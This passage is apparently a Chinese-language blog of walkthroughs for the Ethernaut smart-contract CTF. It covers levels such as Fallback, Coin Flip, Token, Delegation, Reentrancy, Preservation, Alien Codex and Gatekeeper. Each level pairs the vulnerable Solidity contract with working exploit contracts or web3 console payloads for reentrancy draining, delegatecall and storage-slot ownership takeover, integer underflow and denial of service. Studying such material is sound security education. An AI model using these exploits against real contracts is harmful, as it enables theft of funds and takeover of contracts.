require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個check就是部署個合約即可。

第三個利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個check比較有意思,是利用了assembler,不過含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長度,需要使得其長度為0。

這里在之前的magicnumber提到過,合約代碼長度不會算進去構(gòu)造函數(shù)的長度,所以將攻擊函數(shù)直接寫進構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識:

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標是成為這個合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時候建立的,而sender這個全局變量代表的是當前和合約交互的用戶。所以說,contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個receive函數(shù)怎么調(diào)用呢?

這個函數(shù)明顯長得就和正常的函數(shù)不一樣,沒有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說,直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個合約直接轉(zhuǎn)帳時,由于這個行為沒有發(fā)送任何數(shù)據(jù),所以接收合約總是會調(diào)用fallback函數(shù)。或者當調(diào)用函數(shù)找不到時就會調(diào)用fallback函數(shù)。

那么這個fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫法就不是這么寫了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來去調(diào)用。

每個合約最多有一個不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語句只有在通過外部地址往合約里轉(zhuǎn)賬的時候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會被限定在 2300。

也就是說,只要向合約轉(zhuǎn)賬,就會執(zhí)行receive函數(shù)。具體來說,就是調(diào)用contract.sendTransaction({value : 1})。

所以說,要成為owner要經(jīng)過以下兩個步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問題就是他這個構(gòu)造函數(shù)其實不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過關(guān)后,會出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對了就可以過關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進行一個比對。這里,blocknumber指的是當前交易的區(qū)塊編號,并不是合約所處的區(qū)塊編號。由于一個塊內(nèi)交易數(shù)量很多,所以我們就可以通過布置一個合約,使其交易行為與驗證的交易打包在一個塊中,這樣blockhash的值就可以提前算出來,重復(fù)十次即可過關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識點就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當前調(diào)用)

可以認為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個合約A,我們調(diào)用這個合約A,而這個合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個合約,第一個delegate里面有個pwn函數(shù),可以直接獲得owner。第二個合約delegation實例化了delegate,并且定義了fallback函數(shù),里面通過delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會使用call函數(shù)與合約進行交互,對合約發(fā)送數(shù)據(jù),當然,call是一個較底層的接口,我們經(jīng)常會把它封裝在其他函數(shù)里使用,不過性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過delegatecall調(diào)用的目標地址的代碼要在當前合約的環(huán)境中執(zhí)行,也就是說它的函數(shù)執(zhí)行在被調(diào)用合約部分其實只用到了它的代碼,所以這個函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說,我們在delegation里通過delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運行的上下文其實是delegation的環(huán)境。也就是說,此時執(zhí)行pwn的話,owner其實是delegation的owner而不是delegate的owner。

抽象點理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當你給call傳入的第一個參數(shù)是四個字節(jié)時,那么合約就會默認這四個字節(jié)就是你要調(diào)用的函數(shù),它會把這四個字節(jié)當作函數(shù)的id來尋找調(diào)用函數(shù),而一個函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個bytes,函數(shù)前面就是帶有括號括起來的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強制給一個合約發(fā)送eth的,不管它要不要它都得收下,這是通過selfdestruct函數(shù)來實現(xiàn)的,如它的名字所顯示的,這是一個自毀函數(shù),當你調(diào)用它的時候,它會使該合約無效化并刪除該地址的字節(jié)碼,第二它會把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無視合約的fallback函數(shù),因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無視這一點。

所以思路就是搞一個合約出來,第二自毀,強制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來密碼被private保護,不能被訪問到,但是其實區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲的地方,就能訪問到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個非常簡單的游戲:誰給它發(fā)送了比當前獎金還大的數(shù)量的以太,就成為新的國王。在這樣的**中,被推翻的國王獲得了新的獎金,但是如果你提交的話那么合約就會回退,讓level重新成為國王,而我們的目標就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說,如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會中止執(zhí)行,這樣transfer就不會成功,king也就不會更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因為該函數(shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因為call的參數(shù)是空,所以會調(diào)用攻擊合約的fallback函數(shù),我們在fallback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒有實現(xiàn)building,需要我們自己定義。從程序的分析來看,top不可能為true。所以我們需要在實現(xiàn)building的時候搞點事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個vault一樣,只不過這次的data需要確**置。

根據(jù)32bytes一格的標準,劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過將token余額置為0來完成此級別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒有完全重載完,所以說可以直接調(diào)用ec20里面的函數(shù)進行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點還是在delegatecall上,由于不會改變上下文,所以說settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實是把slot1中的數(shù)據(jù)賦值為time。

所以說第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個非常簡單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點就是找不到合約的地址,不過所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個owner變量,這個變量經(jīng)過查詢是在slot 0中。

win10 mul

前十六個字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個合約里面,可以指定下標元素賦值,且沒有檢查。所以說我們只需要計算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個32bytes的數(shù)組,在slot1中存儲著他的長度。我們要計算出一個元素的下標,如果下標溢出,則會存儲到slot0中。

在Solidity中動態(tài)數(shù)組內(nèi)變量的存儲位計算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個合約中,開頭的slot為1,也就是他的長度。(換句話說,數(shù)組中某個元素的slot = keccak(slot數(shù)組)+ index)

因此第一個元素位于slot keccak256(1) + 0,第二個元素位于slot keccak256(1) + 1,以此類推。

所以我們要計算的下標就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個check直接用合約交互即可。

第三個check實際上是個截斷問題,也就是說0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點在于第二個check,需要設(shè)定執(zhí)行到gatetwo時的gasleft % 8191 == 0。

達到這個有兩個方式,第一種方式是把原本題目合約扒下來,放到debug測試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費的gas并不相同,按照medium網(wǎng)站上說的方式到etherscan上查了下合約信息,由于沒有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們在debug環(huán)境下算出了符合條件的gas,仍然不能保證會成功。

第二種方式就比較暴力,直接寫一個for循環(huán),每次的gas都從一個值遞增1,這樣一定會遇到一個符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長度不超過10的bytecode編寫出一個合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
